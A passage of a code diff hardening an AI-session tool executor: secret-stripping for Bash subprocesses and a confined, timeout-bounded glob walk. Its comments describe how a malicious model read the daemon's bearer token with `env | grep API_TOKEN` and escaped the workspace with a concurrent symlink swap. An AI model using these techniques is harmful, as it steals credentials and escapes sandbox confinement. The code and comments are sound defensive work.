+ * auth material. Chroxy's daemon-private secrets (the primary API_TOKEN, the
279
+ * ambiently-inherited CHROXY_PORT/CHROXY_HOOK_SECRET) are a SEPARATE class,
280
+ * stripped below via the shared `CHROXY_SECRET_DENYLIST` /
281
+ * `stripInheritedChroxySecrets()` primitives from `utils/spawn-env.js` — see
282
+ * #8113 (found during #7360/#8111's security review: this function used to
283
+ * strip only the two keys above, so `env | grep API_TOKEN` inside a BYOK
284
+ * session's own Bash tool call handed a compromised/malicious model the
285
+ * daemon's full-authority primary bearer token, plus whatever foreign
286
+ * session's CHROXY_PORT/CHROXY_HOOK_SECRET the daemon process itself
287
+ * happened to have ambiently inherited).
53
288
  *
54
289
  * Note: we do NOT redact every var that looks like a secret (e.g.
55
290
  * GITHUB_TOKEN, AWS_*). The user might legitimately need those in
@@ -64,13 +299,32 @@ const SECRET_ENV_DENYLIST = new Set([
64
299
  /**
65
300
  * Build an env for the Bash/Glob/Grep subprocess that strips chroxy's
66
301
  * own secrets. Returns a plain object — pass to executeBash's `env`.
302
+ *
303
+ * Three layers, in order:
304
+ * 1. `SECRET_ENV_DENYLIST` — the BYOK provider's own credential (#4069).
305
+ * 2. `CHROXY_SECRET_DENYLIST` — daemon-private secrets that must never
306
+ * reach ANY spawned child, regardless of provider or mode (#6311):
307
+ * the full-authority primary `API_TOKEN`, and `CHROXY_INGEST_SECRET`
308
+ * (the `/api/events` / `/api/mailbox` bearer — see
309
+ * docs/security/bearer-token-authority.md §6).
310
+ * 3. `stripInheritedChroxySecrets()` — an AMBIENTLY-inherited
311
+ * `CHROXY_PORT`/`CHROXY_HOOK_SECRET` (#7360's class). This BYOK Bash/Grep
312
+ * subprocess is not a hook-consuming child at all (BYOK sessions have no
313
+ * permission-hook HTTP callback — permissions are gated in-process), so
314
+ * there is no "this session's own value" to preserve here; any value
315
+ * present is necessarily a foreign session's secret.
316
+ *
317
+ * Exported so the strip is directly unit-testable without a real spawn.
67
318
  */
68
- function buildSafeBashEnv() {
319
+ export function buildSafeBashEnv() {
69
320
  const out = {}
70
321
  for (const [k, v] of Object.entries(process.env)) {
71
322
  if (SECRET_ENV_DENYLIST.has(k)) continue
323
+ if (CHROXY_SECRET_DENYLIST.includes(k)) continue
72
324
  out[k] = v
73
325
  }
326
+ stripInheritedChroxySecrets(out)
327
+ stripParentClaudeSessionEnv(out) // #8262
74
328
  return out
75
329
  }
76
330
 
@@ -184,7 +438,11 @@ async function runWrite({ input, cwd, cwdRealCache, cwdCacheTtl }) {
184
438
  })
185
439
  if (!result.ok) return { content: `${result.code}: ${result.message}`, isError: true }
186
440
  return {
187
- content: `Wrote ${result.bytesWritten} bytes to ${input.file_path}${result.created ? ' (created)' : ''}.`,
441
+ content: formatWriteConfirmation({
442
+ bytesWritten: result.bytesWritten,
443
+ filePath: input.file_path,
444
+ created: result.created,
445
+ }),
188
446
  isError: false,
189
447
  }
190
448
  }
@@ -259,28 +517,2419 @@ async function runGlob({ input, cwd, cwdRealCache, cwdCacheTtl, signal }) {
259
517
  isError: true,
260
518
  }
261
519
  }
520
+ // #7341 — the metachar denylist above closes shell INJECTION only; it says
521
+ // nothing about where the glob expands to. Containment is a separate rule.
522
+ const escapeReason = globPatternEscapeReason(pattern)
523
+ if (escapeReason) {
524
+ return { content: globPatternEscapeMessage(escapeReason), isError: true }
525
+ }
526
+ // #7898 round 4 — neither check above bounds `pattern`'s length or brace
527
+ // nesting, and every round of this PR's review has found a new way an
528
+ // unbounded pattern makes the segment matcher (parseSegmentTokens/
529
+ // segmentMatches, driving both compileCaseCheck's callers and walkGlob's
530
+ // own per-entry matching below) slow or crash. See the worst-case bound
531
+ // written above compileCaseCheck and globPatternComplexityReason's own doc
532
+ // for the specific measured failures this closes.
533
+ const complexityReason = globPatternComplexityReason(pattern)
534
+ if (complexityReason) {
535
+ return { content: globPatternComplexityMessage(complexityReason), isError: true }
536
+ }
262
537
 
263
538
  // Realpath-validate the search ROOT against cwd. Pre-fix this was a
264
539
  // weak "no ..." check that let absolute paths to /etc through.
265
- const realRoot = await safeResolveRoot(input?.path, cwd, cwdRealCache, cwdCacheTtl)
540
+ const hasPath = typeof input?.path === 'string' && input.path.length > 0
541
+ const validatedRoot = await safeResolveRoot(input?.path, cwd, cwdRealCache, cwdCacheTtl)
542
+ // The walk opens exactly one canonical path. The session root is resolved
543
+ // here; a `path` root takes its on-disk spelling (`realpath`) and is checked
544
+ // against the workspace again. Both happen before the walk is queued, so the
545
+ // walk never derives its own root. A path that does not exist is kept as
546
+ // given, so it behaves as before (no matches).
547
+ let realRoot
548
+ if (!hasPath) {
549
+ realRoot = await resolveSessionCwd(cwd, cwdRealCache, cwdCacheTtl)
550
+ } else {
551
+ try {
552
+ realRoot = await realpath(validatedRoot)
553
+ } catch (err) {
554
+ if (err?.code !== 'ENOENT') throw err
555
+ realRoot = validatedRoot
556
+ }
557
+ const cwdReal = await resolveSessionCwd(cwd, cwdRealCache, cwdCacheTtl)
558
+ if (!isPathWithin(realRoot, cwdReal)) {
559
+ return { content: `EACCES: path outside workspace: ${input.path} resolves to ${realRoot}, expected under ${cwdReal}`, isError: true }
560
+ }
561
+ }
562
+ // The search root is resolved once per walk: checks made during the walk
563
+ // resolve it from this map rather than from the shared, time-limited cache.
564
+ const walkCache = new Map([[resolve(realRoot), { resolved: realRoot, ts: Date.now() }]])
565
+ const walkCacheTtl = Infinity
266
566
 
267
- // Shell expansion of `for f in <pattern>` is what produces the file
268
- // paths. Pattern is now whitelist-validated above, so interpolation
269
- // is safe.
270
- const cmd = buildGlobCommand(pattern, realRoot)
271
- const result = await executeBash({
272
- command: cmd,
273
- cwd: realRoot,
274
- signal,
275
- timeoutMs: 30_000,
276
- env: buildSafeBashEnv(),
567
+ // #7918 — a brace alternative spanning a '/' (`{dup,nested/dup}`) has no
568
+ // representation in the per-segment compiled matcher below, which splits
569
+ // the pattern on '/' before parsing braces at all — see `expandBraces`'s
570
+ // doc for the full history. `hasSlashSpanningBrace` is a cheap gate: the
571
+ // ordinary, far more common non-spanning brace (`*.{ts,js}`) keeps the
572
+ // existing single-compile, single-walk path completely unchanged below
573
+ // (`patterns.length === 1`, `patterns[0] === pattern`); only a
574
+ // genuinely-spanning pattern pays for the multi-pattern expand-and-union
575
+ // path. #7951 — a `{X..Y}` range (`file{1..3}.txt`) has the SAME gap: it
576
+ // has no representation in the per-segment compiler either (which never
577
+ // expands `..`), and very often does not span a '/' at all, so
578
+ // `hasRangeBrace` is a second, independent gate alongside the first.
579
+ let patterns
580
+ if (hasSlashSpanningBrace(pattern) || hasRangeBrace(pattern)) {
581
+ const expanded = expandBraces(pattern)
582
+ if (expanded === null) {
583
+ return {
584
+ content: globPatternComplexityMessage(`more than ${GLOB_BRACE_EXPANSION_CAP} brace alternatives`),
585
+ isError: true,
586
+ }
587
+ }
588
+ // #7918 review — an alternative that expands to an ABSOLUTE path is
589
+ // dropped, not walked. `globPatternEscapeReason` refuses a pattern that
590
+ // STARTS with `/` or has one right after `{`/`,`, but concatenation can
591
+ // still produce one: `{,x}/etc/{p,q/r}` passes that check and expands to
592
+ // `/etc/p`. `compileCaseCheck` drops the empty leading segment, so
593
+ // walking it would search `etc/p` under the WORKSPACE — never an escape
594
+ // (the walk is rooted at `realRoot`), but a match `fs.glob` never makes:
595
+ // it looks for the real `/etc/p`, which confinement then withholds. A
596
+ // dropped alternative contributes nothing, which is exactly `fs.glob`'s
597
+ // confined answer for it. Duplicates are dropped too: two alternatives
598
+ // that expand to the same string would only walk the tree twice.
599
+ patterns = [...new Set(expanded.filter((p) => !p.startsWith('/')))]
600
+ } else {
601
+ patterns = [pattern]
602
+ }
603
+ // #7951 review — `globPatternComplexityReason`'s depth half counts every
604
+ // `{`/`}`, which bounds a BRACKET-OBLIVIOUS parser (bash in the container).
605
+ // This host's parser pairs braces bracket-AWARE, so a `}` inside `[...]`
606
+ // walks that counter down while the parser keeps nesting: `{,` x30 + `[` +
607
+ // `}` x30 + `]`, repeated, reached 480 real `alt` levels in 1,953
608
+ // characters with the counter never above 30, and overflowed the stack
609
+ // inside the matcher with less headroom (`--stack-size=250`). Same ceiling,
610
+ // measured the way THIS parser pairs, on exactly the strings the walk will
611
+ // compile. The raw pattern's reading is NOT enough: an alternative split out
612
+ // of a bracket expression puts the braces that expression hid into plain
613
+ // text — `{[,` + `{`x30 + `]}` reads one level raw, and its second
614
+ // alternative opens 30 — so 9 such groups read 1 level raw and expand to a
615
+ // 270-level `alt` nest (pinned in byok-tool-executor.test.js, "applied to
616
+ // every EXPANSION"). Linear in the expansion's total length; see
617
+ // `hostBraceNestingDepth`'s COST note for the measured bound.
618
+ if (patterns.some(hostBraceDepthExceeded)) {
619
+ return {
620
+ content: globPatternComplexityMessage(`"{" nesting deeper than ${GLOB_PATTERN_MAX_BRACE_DEPTH} levels`),
621
+ isError: true,
622
+ }
623
+ }
624
+
625
+ // #7341 — if the pattern NAMES a directory outright and that directory
626
+ // resolves outside the workspace, say so instead of returning "No matches".
627
+ //
628
+ // Containment itself is unchanged: every match is still confined below, and
629
+ // a symlink the caller merely DISCOVERED through a wildcard is still withheld
630
+ // in silence, because naming it would be the existence oracle that silence
631
+ // exists to prevent. This is the other case. When the caller writes
632
+ // `node_modules/**` and `node_modules` is a symlink into a pnpm store, a
633
+ // shared `.venv`, or a sibling repo, "No matches" is a baffling answer to a
634
+ // question the caller already knew the shape of — and it leaks nothing,
635
+ // because passing the very same path as `input.path` ALREADY returns exactly
636
+ // this error. It also makes `pattern` and `path` consistent rather than
637
+ // mysteriously different for the same directory.
638
+ //
639
+ // #7918 — scoped to a call that walks exactly ONE pattern (the unexpanded
640
+ // one, or the sole distinct result of an expansion): a brace-expanded
641
+ // multi-pattern call silently discovers-and-withholds an out-of-bounds
642
+ // alternative the same way a wildcard-reached symlink already does
643
+ // elsewhere in this function, rather than early-erroring on whichever
644
+ // alternative happens to resolve outside the workspace first.
645
+ if (patterns.length === 1) {
646
+ const literalPrefix = literalDirPrefix(patterns[0])
647
+ if (literalPrefix) {
648
+ await safeResolveRoot(literalPrefix, realRoot, walkCache, walkCacheTtl)
649
+ }
650
+ }
651
+
652
+ // Check the signal BEFORE the walk: the in-loop check is only reached when
653
+ // the walk yields, so an already-aborted call on a pattern that matches
654
+ // nothing used to run the whole tree and then report a cheerful "No matches".
655
+ // The container Glob has always had this pre-check; the host lacked it, which
656
+ // made the two backends answer differently for identical input.
657
+ if (signal?.aborted) return { content: 'Glob interrupted', isError: true }
658
+
659
+ // #7901 — the host no longer calls `fs.glob` (`node:fs/promises`'s `glob()`)
660
+ // at all. Its own segment matcher backtracks catastrophically on the exact
661
+ // pattern shapes `compileCaseCheck`'s DP was rewritten to handle safely
662
+ // (#7898) — measured 87 SECONDS for `*a*a*a*a*a*a*a*a*a*a*b.ts` against one
663
+ // 40-character near-miss real name, synchronously, no chroxy code involved,
664
+ // which froze the WHOLE DAEMON's event loop (every session, every WS
665
+ // client, the tunnel health checks) for the duration and which the 30s
666
+ // walk-timeout race below cannot interrupt (the timer cannot fire while the
667
+ // event loop it depends on is the thing blocked). `fs.glob` also honours no
668
+ // AbortSignal (#7356 — an aborted or timed-out call left the walk running,
669
+ // unbounded, after the tool result was already sent) and hard-codes
670
+ // case-INSENSITIVE candidate generation on macOS/Windows with a
671
+ // candidate-generation bug for negated bracket classes (#7899) that a
672
+ // post-hoc case re-check over its candidates could never recover, because
673
+ // the candidate fs.glob needed to produce in the first place was never
674
+ // generated.
675
+ //
676
+ // `walkGlob` below replaces it with a self-implemented `fs.promises.opendir`
677
+ // walk: at each real directory, it tracks which pattern-segment positions
678
+ // ("matchers", from `compileCaseCheck` — the SAME non-backtracking DP #7898
679
+ // added) are still reachable, and tests every real directory entry against
680
+ // them via `segmentMatches` — case-sensitively BY CONSTRUCTION, since it
681
+ // compares pattern text to the REAL on-disk name at the moment `opendir`
682
+ // reads it, never a candidate `fs.glob` echoed back. Confinement
683
+ // (`validateRawPathWithinCwd`, #6923's shared componentwise resolver) is
684
+ // checked before the walk either descends into, or reports a match for, any
685
+ // symlinked entry — so an out-of-bounds symlinked directory is never even
686
+ // opened, which is strictly stronger than the old post-hoc filter that
687
+ // enumerated it via `fs.glob` first and discarded the result afterward. The
688
+ // deadline/abort race below checks in with the walk at every directory
689
+ // entry (an `opendir` read is a real, yielding async operation), so the
690
+ // event loop keeps turning throughout, and stopping the walk is a matter of
691
+ // setting a flag the walk's own loop observes on its very next iteration —
692
+ // not, as with `fs.glob`, hoping a signal it ignores gets noticed.
693
+ // #7910 review round 2 (parity) — a pattern ending in `/` (any number of
694
+ // trailing slashes; `compileCaseCheck` already drops the empty segment(s)
695
+ // they produce, so the compiled `matchers` are identical either way) means
696
+ // DIRECTORIES ONLY, matching `fs.glob`'s own observed behavior exactly:
697
+ // verified directly, `sub/*/` matches a real subdirectory but not a plain
698
+ // file NOR a symlink pointing at a directory (`sub/dirlink -> inner` is
699
+ // excluded from `sub/*/`'s results) — so this is `dirent.isDirectory()`
700
+ // specifically, never "dir-like". #7918 — computed per EXPANDED pattern
701
+ // (`patterns`, `[pattern]` in the un-expanded common case), since a
702
+ // brace alternative can itself end in `/` independently of its siblings
703
+ // (`{a/,b}` — one directory-only, the other not).
704
+ const files = []
705
+ // ONE timer sets the flag and releases the race, so the two cannot resolve
706
+ // in either order — a second, independent timer would let the race finish
707
+ // before `state.stop` was assigned and report success on a timed-out walk.
708
+ // The abort listener shares that single release for the same reason.
709
+ const state = { stop: null, visited: 0 }
710
+ let releaseDeadline
711
+ const deadlineReached = new Promise((resolve) => { releaseDeadline = resolve })
712
+ const timeoutMs = globTimeoutMs()
713
+ const maxEntries = globMaxEntriesVisited()
714
+ const deadline = setTimeout(() => { state.stop = 'timed out'; releaseDeadline() }, timeoutMs)
715
+ deadline.unref?.()
716
+ const onAbort = () => { state.stop = 'interrupted'; releaseDeadline() }
717
+ signal?.addEventListener?.('abort', onAbort, { once: true })
718
+ // #7918 — one walk per expanded pattern, SHARING `state`/`files`/`maxEntries`
719
+ // across all of them: the deadline/abort/entries-visited budgets are for
720
+ // the WHOLE Glob call, not reset per alternative (a brace pattern with N
721
+ // alternatives must not get N times the time or entry budget). Each walk
722
+ // still checks `state.stop`/the collect ceiling before starting, so a
723
+ // deadline or abort hit partway through stops the REMAINING alternatives
724
+ // too, not just the one in flight.
725
+ // #7356 — take a walk slot before walking (see `globMaxConcurrent`). The
726
+ // deadline timer above is already running, so time spent queued counts
727
+ // against this call's budget; a call that times out or is aborted while
728
+ // still queued is dequeued below and never starts a walk.
729
+ const slot = acquireGlobWalkSlot(globMaxConcurrent())
730
+ // #8349 — whether this call's walk ever got a slot. A timeout with no slot
731
+ // was spent queued behind other walks, which is not the same as a slow walk.
732
+ let walkStarted = false
733
+ async function collectAll() {
734
+ const release = await slot.granted
735
+ if (release === null) return
736
+ // Known, unreachable-in-practice edge: a slot granted after the deadline
737
+ // already fired is not "started" (the loop below returns at once and the
738
+ // late grant releases in `finally`), so such a call keeps the queued message.
739
+ if (state.stop === null) walkStarted = true
740
+ if (walkStarted && globWalkStartHook) await globWalkStartHook()
741
+ try {
742
+ for (const p of patterns) {
743
+ if (state.stop !== null || files.length >= GLOB_COLLECT_CEILING) return
744
+ const { matchers } = compileCaseCheck(p)
745
+ const directoryOnly = p.endsWith('/')
746
+ await walkGlob({ realRoot, matchers, cwdRealCache: walkCache, cwdCacheTtl: walkCacheTtl, state, results: files, maxEntries, directoryOnly })
747
+ }
748
+ } finally {
749
+ release()
750
+ }
751
+ }
752
+ const collect = collectAll()
753
+ // Attach a catch BEFORE the race: if the walk rejects after the deadline has
754
+ // already settled it, the rejection would otherwise be unhandled.
755
+ let walkError = null
756
+ collect.catch((err) => { walkError = err })
757
+ try {
758
+ await Promise.race([collect, deadlineReached])
759
+ } catch (err) {
760
+ walkError = err
761
+ }
762
+ clearTimeout(deadline)
763
+ signal?.removeEventListener?.('abort', onAbort)
764
+ slot.cancel()
765
+ if (walkError) {
766
+ return { content: `Glob failed: ${walkError?.message || String(walkError)}`, isError: true }
767
+ }
768
+ if (state.stop === 'timed out') {
769
+ if (!walkStarted) {
770
+ warnIfGlobWalksStuck(timeoutMs)
771
+ return {
772
+ content: `Glob timed out after ${timeoutMs}ms (waited ${timeoutMs}ms for a free walk slot; ${globWalkSlots.active} ${globWalkSlots.active === 1 ? 'walk was' : 'walks were'} busy)`,
773
+ isError: true,
774
+ }
775
+ }
776
+ return { content: `Glob timed out after ${timeoutMs}ms`, isError: true }
777
+ }
778
+ if (state.stop === 'interrupted') return { content: 'Glob interrupted', isError: true }
779
+ if (state.stop === 'too many entries') {
780
+ return {
781
+ content: `Glob visited more than ${maxEntries} filesystem entries without finishing — narrow the pattern or use "path"`,
782
+ isError: true,
783
+ }
784
+ }
785
+ // #7357 — a match containing an embedded newline cannot be told apart, in a
786
+ // '\n'-joined text result, from two separate matches: `sub/deep/nl\nSECRET`
787
+ // reads back as `sub/deep/nl` and `SECRET` on two lines, and the second of
788
+ // those is a path that does not exist as spelled. NUL is the only byte a
789
+ // POSIX filename cannot contain, but the tool_result handed back to the
790
+ // model is plain '\n'-joined text (not NUL-delimited), so there is no
791
+ // encoding that stays both unambiguous AND a single text line. Dropping is
792
+ // the one option of the two the issue names ("emitted unambiguously or
793
+ // skipped, never split") that needs no new escape syntax for the model to
794
+ // learn, and it is applied identically here and in the container path
795
+ // (docker-byok-session.js's `_containerGlob`) so the two backends agree on
796
+ // what "the same input" means. This is a display-format decision, not a
797
+ // containment one — the match is not a security-relevant withholding, so it
798
+ // gets no daemon-log line the way an escaping match does.
799
+ let kept = files.filter((f) => !f.includes('\n'))
800
+ // #7918 — two DIFFERENT brace alternatives can match the SAME real path
801
+ // (`{*/dup,nested/*}` — both alternatives match `nested/dup`), and each
802
+ // alternative's `walkGlob` call pushes into the SAME shared `files` array,
803
+ // so a multi-pattern call can push the same relPath twice where a single
804
+ // pattern's own walk never could (one walk visits each real directory at
805
+ // most once, per `visitedDirs`). Scoped to `patterns.length > 1` so the
806
+ // overwhelmingly common single-pattern path pays no Set-construction cost
807
+ // for a case that cannot occur there.
808
+ if (patterns.length > 1) kept = Array.from(new Set(kept))
809
+ // A withheld match is reported as no match, with no count and no marker.
810
+ // Anything that distinguishes "matched, but outside" from "matched nothing"
811
+ // is an existence ORACLE: a workspace that contains `esc -> /` turns one bit
812
+ // per call into filesystem enumeration, on a tool that is auto-approved in
813
+ // `acceptEdits`. The confinement is proven by tests, not by a runtime marker.
814
+ if (kept.length === 0) return { content: `No matches for ${pattern}`, isError: false }
815
+
816
+ // Sort. Every shell glob does, and `walkGlob` yields in filesystem
817
+ // traversal order (deterministic-but-different from a shell's, same as the
818
+ // old `fs.glob`-based walk was), which would reshuffle the whole listing for
819
+ // a one-file change and destroy the alphabetical grouping that makes a long
820
+ // result readable.
821
+ kept.sort()
822
+
823
+ // TRUNCATION IS ANNOUNCED. The oracle argument that justifies silence for
824
+ // withheld matches does not apply here: a count of in-workspace matches
825
+ // reveals nothing about anything outside it, and silently dropping paths
826
+ // makes Glob wrong by omission with nothing to tell the model.
827
+ if (kept.length > GLOB_MAX_MATCHES) {
828
+ const total = files.length >= GLOB_COLLECT_CEILING ? `${kept.length}+` : `${kept.length}`
829
+ const shown = kept.slice(0, GLOB_MAX_MATCHES)
830
+ shown.push(`[truncated: showing ${GLOB_MAX_MATCHES} of ${total} matches — narrow the pattern or use "path"]`)
831
+ return { content: shown.join('\n'), isError: false }
832
+ }
833
+ return { content: kept.join('\n'), isError: false }
834
+ }
835
+
836
+ /**
837
+ * #7901 — the self-implemented replacement for `fs.glob`'s own walk+match.
838
+ * Walks `realRoot` one real directory at a time via `fs.promises.opendir`,
839
+ * tracking which positions in `matchers` (from `compileCaseCheck`) are still
840
+ * reachable — the same array-wildcard DP `caseCheckPasses` already runs
841
+ * post-hoc over a KNOWN full path, here computed INCREMENTALLY, one real
842
+ * directory level at a time, so it can decide which subdirectories are worth
843
+ * opening at all instead of enumerating everything and filtering afterward.
844
+ *
845
+ * `active`/`next` are boolean arrays of length `matchers.length + 1`; index
846
+ * `k` means "matchers[0..k) have successfully aligned with every real
847
+ * segment consumed so far". `closeGlobstars` propagates a `**` matcher's
848
+ * "matches zero segments" case (so `k` reachable via a `**` at position `k`
849
+ * makes `k+1` reachable too, with no directory read needed) — the same
850
+ * prefix-OR trick `caseCheckPasses` uses for `**`, just applied as the walk
851
+ * descends instead of after the fact.
852
+ *
853
+ * MATCH: whenever `next[matchers.length]` is true for an entry, the pattern
854
+ * is fully satisfied — that entry (file or directory, matching `fs.glob`'s
855
+ * own behavior of returning either) is a result. DESCEND: whenever `next` has
856
+ * any true bit at an index below `matchers.length`, there is a still-
857
+ * incomplete (or still-`**`-absorbing) alignment that a deeper real segment
858
+ * could complete, so a directory (or a symlink that might resolve to one) is
859
+ * opened; an ordinary file never is, at zero extra cost.
860
+ *
861
+ * SECURITY (#7341/#6923, carrying forward into #7901) — a symlinked entry is
862
+ * realpath-validated against `realRoot` via the shared componentwise resolver
863
+ * BEFORE it is either reported as a match or descended into. An entry whose
864
+ * real target resolves outside the workspace is withheld silently (never
865
+ * matched, never opened) — stronger than the predecessor's post-hoc filter,
866
+ * which let `fs.glob` enumerate an out-of-bounds symlinked directory's
867
+ * contents first and discarded the result afterward; this walk never opens
868
+ * it. FAIL-CLOSED: a symlink that cannot be resolved (ELOOP, EACCES, a depth
869
+ * bomb) is withheld the same way.
870
+ *
871
+ * SECURITY (review of #7901, TOCTOU — closed properly in round 2) — an
872
+ * ordinary (non-symlink-AT-LISTING-TIME) directory is NOT trusted on
873
+ * `dirent`'s type alone before being opened: `fs.promises.opendir` batches
874
+ * several dirents per underlying `readdir(2)` call, and this walk is
875
+ * strictly sequential within a directory, so an entry late in a large
876
+ * listing is reached only after every earlier one (including a deep
877
+ * subtree) has been fully processed — the type Node captured for it can be
878
+ * stale by then. Chroxy fans every tool block a model approves in one turn
879
+ * out CONCURRENTLY (`byok-session.js`'s `Promise.all`, #7356), so a Bash
880
+ * call approved in the SAME turn as a Glob call can replace a plain
881
+ * directory with a symlink to anywhere while this walk is still busy
882
+ * elsewhere in the tree. Measured directly (byok-tool-executor.test.js): an
883
+ * unpatched walk over a 60-sibling directory followed exactly such a swap
884
+ * straight into the attacker's target and returned matches from OUTSIDE the
885
+ * workspace, reported under a workspace-looking `relPath`. A first attempt
886
+ * at closing this (round 2's `resolveNonSymlinkDescend`) re-`lstat`ed
887
+ * immediately before returning a path string for `walk` to `opendir` — but
888
+ * that is STILL check-then-use: the two calls are independent, so a swap
889
+ * landing in the gap between them is exactly as invisible as one landing
890
+ * before the check. A round-2 REFINEMENT (`resolveNonSymlinkDescend` folded
891
+ * into an early version of `openVerifiedDirForDescend`) collapsed that into
892
+ * one `opendir` immediately re-verified by a second `lstat` on the same
893
+ * path — narrower, but still an ABA: a swap-to-symlink before the `opendir`
894
+ * and a swap-BACK before the second `lstat` both went undetected, because
895
+ * neither `lstat` ever inspected the object `opendir` had actually opened.
896
+ * `walk`'s call site now routes every directory-shaped descent —
897
+ * symlink-flagged or not — through {@link openVerifiedDirForDescend}, which
898
+ * opens with `O_NOFOLLOW` and verifies identity via `fstat` on the opened
899
+ * handle itself (never a fresh path lookup), then reads entries from that
900
+ * SAME verified object where the platform allows it, and hands `walk` the
901
+ * already-open, already-verified `Dir` directly — no path is ever handed
902
+ * back for a second, disconnected open to (not) re-check. See that
903
+ * function's doc for how the open and the listing are bound together.
904
+ *
905
+ * SECURITY (#7355/#7899) — case-sensitive by construction: every comparison
906
+ * is `segmentMatches(matcher, dirent.name)` against the REAL name `opendir`
907
+ * just read, never a pattern-echoed candidate, so there is no case-folding
908
+ * layer left to disagree with (host and container Glob, and Claude Code's own
909
+ * Glob, now agree on every pattern shape a fuzz found disagreement on,
910
+ * negated bracket classes included — `segmentMatches`/`advanceToken` never
911
+ * had a nocase mode to begin with).
912
+ *
913
+ * DOT HANDLING — a bare wildcard/class token never stands for a real
914
+ * segment's leading dot (`advanceToken`'s dot guard, `parseSegmentTokens`'s
915
+ * doc), matching `fs.glob`'s own observed default exactly (verified directly
916
+ * against Node 22's `glob()`): `.env*` and `.[a-z]*` still find `.envrc`,
917
+ * `*.ts`/`?env`/most bracket classes do not, and `*` never lists a
918
+ * dotfile/dotdir unless a pattern segment explicitly spells a leading
919
+ * literal dot for that level. `**` follows the SAME rule for its own zero-
920
+ * width closure (a bare trailing `**` never lists a dotfile/dotdir either),
921
+ * but #7912 — verified directly against Node's own `internal/fs/glob.js`
922
+ * GLOBSTAR algorithm, not merely observed — its CROSSING behavior (whether
923
+ * it absorbs a dot-named directory on the way to a deeper match) is a
924
+ * narrower exception: a dot-named entry is absorbed exactly when the
925
+ * pattern segment immediately after this run of `**`s explicitly matches
926
+ * that entry's own name (`nextNonGlobstar`, below) — so `**\/.*` crosses
927
+ * `.hidden` to reach `.hidden/.deepdot` (the wildcard `.*` matches
928
+ * `.hidden`'s own name too), while `**\/*` never crosses any dot directory
929
+ * at all (a bare `*` matches no dot name, ever) and `**\/.deepdot` (a
930
+ * DIFFERENTLY-named literal tail) does not cross `.hidden` either, because
931
+ * `.deepdot` does not match `.hidden`'s name — see `walkGlob`'s per-entry
932
+ * globstar handling for the exact mechanism.
933
+ *
934
+ * BOUNDS — the caller's deadline/abort race is checked (`state.stop`) at the
935
+ * top of every directory and before every entry, so an `opendir` read (a
936
+ * real, yielding async op) is never more than one entry away from noticing a
937
+ * stop. On the macOS/win32 path-based fallback (#7919) entries arrive in
938
+ * verification rounds of up to FALLBACK_VERIFY_BATCH, so a stop can wait for
939
+ * the round in progress to finish (at most one round's concurrent lstats plus
940
+ * one parent re-check) before the next per-entry check sees it.
941
+ * `GLOB_COLLECT_CEILING` bounds MATCHES the same way the old walk did;
942
+ * `maxEntries` (`globMaxEntriesVisited()`) additionally bounds total entries
943
+ * VISITED regardless of match count, for the #7356 shape (an enormous tree, almost no
944
+ * matches) where the collect ceiling never engages.
945
+ *
946
+ * `__testDescendSeam` and `__testForcePathFallback` are TEST-ONLY: the seam is
947
+ * awaited at the phases listed on openVerifiedDirForDescend, and the flag
948
+ * routes Linux through the macOS/win32 fallback so its tests bite on Linux CI.
949
+ * The production caller (runGlob) passes neither.
950
+ *
951
+ * @param {{realRoot: string, matchers: Array, cwdRealCache: Map, cwdCacheTtl: number, state: {stop: string|null, visited: number}, results: string[], maxEntries: number, directoryOnly?: boolean, __testDescendSeam?: (target: string, phase: string, names?: string[]) => Promise<void>, __testForcePathFallback?: boolean}} args
952
+ */
953
+ async function walkGlob({ realRoot, matchers, cwdRealCache, cwdCacheTtl, state, results, maxEntries, directoryOnly, __testDescendSeam, __testForcePathFallback = false }) {
954
+ const m = matchers.length
955
+ // SECURITY/DoS (#7910 review round 2) — real directories on the CURRENT
956
+ // descent path (root down to here), keyed by `dev:ino`. A plain filesystem
957
+ // tree can never revisit an ancestor directory — that would require an
958
+ // actual cycle — so tracking every descent unconditionally costs nothing
959
+ // there and only ever REFUSES when a symlink's resolved target is already
960
+ // an ancestor of the entry naming it, which is exactly the shape measured
961
+ // directly here: `**/selfloop/**` against `selfloop -> .` (self-referential)
962
+ // grew UNBOUNDED on the round-2 code (200+ matches, no cap but `maxEntries`/
963
+ // the componentwise resolver's own symlink-depth ceiling) because the
964
+ // existing `detHandoff`/`canDescendSymlink` gate answers "was this entry
965
+ // named determinately", not "have we already been here" — a determinate
966
+ // literal segment re-matching the SAME repeating name at every depth of its
967
+ // own self-loop sails through that gate every time. Stack discipline (added
968
+ // in `walk`, removed in its `finally`) means a real DIAMOND — the same real
969
+ // directory reached via two separate, non-overlapping symlinks elsewhere in
970
+ // the tree — is not spuriously refused; only an actual ancestor-revisit is.
971
+ const visitedDirs = new Set()
972
+ // `{ bigint: true }` stats (see `openVerifiedDirForDescend`) — a plain
973
+ // Number would lose precision for a large volume's inode, and this key
974
+ // needs exact equality: a false COLLISION (two different directories
975
+ // hashing the same key) would wrongly refuse a legitimate descent — safe
976
+ // (fail-closed), but not correct — while precision here is free.
977
+ function dirKey(stat) { return `${stat.dev}:${stat.ino}` }
978
+ // #7910 review (parity/DoS) — precomputed ONCE per Glob call: which matcher
979
+ // positions are DETERMINATE segments (no bare `*`/`?` anywhere in the
980
+ // segment — a fully-literal segment, a bracket class, or a brace whose every
981
+ // alternative is itself determinate; `**` is never determinate). Verified
982
+ // directly against Node 22's `glob()`: it follows a symlinked directory, and
983
+ // lets a trailing `**` close with zero width onto a non-directory entry,
984
+ // when the segment that named that entry is determinate (`src-link/*`,
985
+ // `[s]rc-link/*`, `{src-link,x}/*`, `plainfile.txt/**`, `[p]lainfile.txt/**`
986
+ // all do) but refuses when it is not (`?rc-link/*`, `*/*`, `*.txt/**`,
987
+ // `pl?infile.txt/**` do not) — see `walk`'s two call sites below.
988
+ const determinateSegment = matchers.map((tok) => tok !== CASE_CHECK_GLOBSTAR && isDeterminateSegmentTokens(tok))
989
+
990
+ // #7912 — precomputed ONCE per Glob call, alongside `determinateSegment`:
991
+ // for each `**` position `k`, the index of the first REAL (non-`**`)
992
+ // matcher after it, skipping over any further consecutive `**`s, or `m`
993
+ // when none remains (a trailing `**`, or a run of `**`s with nothing after
994
+ // it). Drives the dot-crossing rule just below — see its doc.
995
+ const nextNonGlobstar = matchers.map((tok, k) => {
996
+ if (tok !== CASE_CHECK_GLOBSTAR) return -1
997
+ let j = k + 1
998
+ while (j < m && matchers[j] === CASE_CHECK_GLOBSTAR) j++
999
+ return j
277
1000
  })
278
- if (result.exitCode !== 0 && !result.stdout) {
279
- return { content: `Glob failed: ${result.stderr || `exit ${result.exitCode}`}`, isError: true }
1001
+
